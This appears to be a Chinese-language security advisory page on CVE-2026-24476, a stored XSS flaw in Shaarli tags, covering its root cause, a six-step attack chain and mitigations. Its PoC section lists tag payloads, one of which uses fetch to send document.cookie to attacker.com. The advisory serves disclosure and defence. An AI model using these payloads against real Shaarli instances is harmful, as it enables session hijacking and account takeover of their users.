IPBUF安全漏洞报告
English
CVE-2026-24476 CVSS 5.4 中危

CVE-2026-24476 Shaarli 标签注入XSS漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24476
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Shaarli

相关标签

CVE-2026-24476XSS跨站脚本攻击Shaarli存储型XSS标签注入HTML注入0.16.0之前版本

漏洞概述

CVE-2026-24476是存在于Shaarli个人书签服务中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响0.16.0之前的版本。攻击者可以通过构造包含特殊字符(以引号"开头)的恶意标签,当该标签在Shaarli的起始页面(start page)显示时,会导致HTML标签提前闭合,从而突破输入框的限制,注入任意HTML内容和JavaScript脚本。由于该漏洞属于存储型XSS,恶意代码会被永久保存在系统中,所有访问包含该标签页面的用户都会受到XSS攻击影响,可能导致会话劫持、敏感信息窃取等严重安全问题。Shaarli在0.16.0版本中通过修复标签输入的输出编码问题成功修复了该漏洞。

技术细节

该漏洞的根本原因在于Shaarli对用户输入的标签(tag)缺乏充分的输出编码处理。具体来说,当用户输入一个以双引号(")开头的恶意标签时,例如:"><script>alert(1)</script>,这个特殊构造的字符串在HTML页面渲染时会被直接插入到某个<input>标签的value属性中。由于双引号会提前结束value属性的值,并闭合整个<input>标签,后续注入的<script>标签就会成为独立的HTML元素被执行。攻击者利用这一技巧可以在页面中注入任意HTML内容,包括恶意JavaScript代码。由于标签数据会被存储在数据库中并在不同页面展示,这是一个典型的存储型XSS漏洞。修复方案需要在输出标签时对特殊字符进行HTML实体编码,将双引号转换为&quot;,单引号转换为&#x27;,小于号转换为&lt;等,从而防止标签内容破坏HTML结构。

攻击链分析

STEP 1
步骤1
攻击者注册Shaarli账号并登录系统
STEP 2
步骤2
攻击者创建一个新的书签,并在标签字段中注入恶意XSS payload,如"><script>alert(1)</script>
STEP 3
步骤3
恶意标签被保存到数据库中,当其他用户访问包含该标签的页面时
STEP 4
步骤4
页面渲染时,恶意payload中的双引号提前闭合<input>标签,导致后续HTML内容成为独立元素
STEP 5
步骤5
注入的<script>标签被执行,触发XSS攻击,可能窃取用户Cookie、会话令牌或其他敏感信息
STEP 6
步骤6
攻击者利用窃取的凭证进行进一步的攻击,如账户接管或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-24476 PoC: Malicious tag for Shaarli XSS --> <!-- Steps to exploit: --> <!-- 1. Create a new bookmark in Shaarli --> <!-- 2. Add a tag with the following payload: --> "><script>alert(document.cookie)</script> <!-- Or using img onerror: --> "><img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Full HTML injection example: --> "><iframe src="javascript:alert('XSS')"> <!-- This payload breaks out of the input tag and injects arbitrary HTML/JS -->

影响范围

Shaarli < 0.16.0

防御指南

临时缓解措施
在官方补丁发布之前,可以通过以下措施进行临时缓解:1) 在Web应用防火墙(WAF)层面添加规则,拦截包含特殊字符的标签输入;2) 限制低权限用户创建标签的功能;3) 对现有数据库中的恶意标签进行清理和删除;4) 启用输入验证机制,拒绝包含引号和尖括号的标签输入;5) 监控异常请求模式,及时发现和阻止XSS攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表